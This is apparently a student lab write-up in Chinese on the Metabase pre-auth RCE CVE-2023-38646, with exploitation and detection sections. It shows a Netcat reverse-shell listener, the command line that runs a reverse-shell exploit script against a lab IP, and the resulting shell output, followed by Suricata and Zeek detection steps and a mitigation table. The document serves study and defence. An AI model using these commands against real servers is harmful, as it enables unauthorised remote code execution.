本仓库记录了一个概念验证 (PoC) 安全研究项目,分析影响Metabase易受攻击版本的严重预认证远程代码执行 (RCE) 漏洞 CVE-2023-38646。
该项目的目标是展示真实世界漏洞的完整生命周期,包括:
本仓库旨在展示以下方面的实践技能:
CVE-2023-38646 是一个影响特定版本 Metabase(一个开源商业智能与分析平台)的严重漏洞。
该漏洞允许攻击者通过利用应用程序设置或配置过程中的弱点实现未认证远程代码执行。
关键细节:
成功利用使攻击者能够:
官方参考:
该项目结合了攻击性安全工具和防御性监控工具。
占位符 — 描述您的实验室设置
示例:
flowchart LR
A[攻击者] --> B[易受攻击的 Metabase 实例]
B --> C[CVE-2023-38646 利用]
C --> D[远程代码执行]
D --> E[反向 Shell 已建立]
E --> F[在目标上执行命令]
该图说明了本项目中使用的高级攻击流程。
Docker 安装与设置:
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
Docker 启动:
使用 Docker 部署了一个易受攻击的 Metabase Enterprise 实例 (v1.44.0)。
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
这将在端口 3000 上暴露 Metabase Web 界面,允许访问设置页面。
如果 Docker 已经在运行,执行以下命令行以重新开始:
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
'Docker 设置' 占位符
容器运行后,可以通过浏览器访问 Metabase 界面。
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
设置页面确认 Metabase 实例已激活并准备进行配置。
BurpSuite
占位符用于截图或说明
在发起利用之前,在攻击机上启动一个 Netcat 监听器以接收反向 Shell 连接。
nc -lvnp 6666
该监听器等待来自被利用的 Metabase 服务器的传入连接。
占位符用于截图或说明
python3 CVE-2023-38646-Reverse-Shell.py \ ---> 利用名称
--rhost http://192.168.1.136:3000 \ ---> 目标 IP 地址
--lhost 192.168.1.137 \ ---> 攻击者 IP 地址
--lport 6666 ---> 攻击者监听端口
有效载荷执行一条命令,该命令向攻击机建立反向 Shell。
Netcat 监听器接收连接,授予攻击者对系统的 Shell 访问权限。
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
确认与受害者设备的连接:
whoami
输出:
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
本项目还演示了如何使用网络监控工具检测利用活动。
使用 Suricata (IDS) 监控网络流量,寻找与利用相关的可疑模式。
sudo suricata -i eth0
占位符:插入 Suricata 告警截图
evidence/detection/suricata_alert.png
为了实时观察告警,使用以下命令监控 Suricata 日志:
tail -f /var/log/suricata/fast.log
占位符:插入 Suricata 日志截图
evidence/detection/suricata_log.png
作为被动方法,使用自定义通知脚本,在 Suricata 检测到可疑流量时生成桌面告警。
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
当利用执行时,Suricata 生成告警,指示与 Metabase 利用尝试相关的可疑活动。
占位符:插入 Suricata 日志截图
evidence/detection/suricata_noti.png
示例:
占位符:插入 Suricata 日志截图
evidence/detection/suricata_noti.png
除了 IDS 监控,还使用 Zeek 分析网络流量并识别异常行为。
使用以下命令启动 Zeek 以开始捕获和分析网络流量:
sudo /usr/local/zeek/bin/zeek -i eth0
占位符:插入 Zeek 启动截图
evidence/detection/zeek.png
通过检查连接日志,可以观察到端口 6666 上的反向 Shell 流量。
192.168.1.136 → 192.168.1.137:6666
占位符:插入 Zeek 日志截图
evidence/detection/zeek_log.png
多种缓解策略可以降低被利用的风险。
| 策略 | 描述 |
|---|---|
| 补丁管理 | 升级 Metabase 到修复 CVE-2023-38646 的版本 |
| Web 应用防火墙 (ModSecurity) | 过滤恶意 HTTP 请求 |
| 主机入侵检测 (OSSEC) | 监控可疑系统行为 |
| 网络监控 (Suricata & Zeek) | 检测异常流量模式 |
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
本项目展示了分析并复现真实世界严重漏洞的完整生命周期。
PoC 展示了:
本仓库的目标是提供一个技术案例研究,说明攻击性与防御性网络安全实践。
Styverson Ng
信息技术学士
人工智能与自主系统
网络安全与网络取证
莫道克大学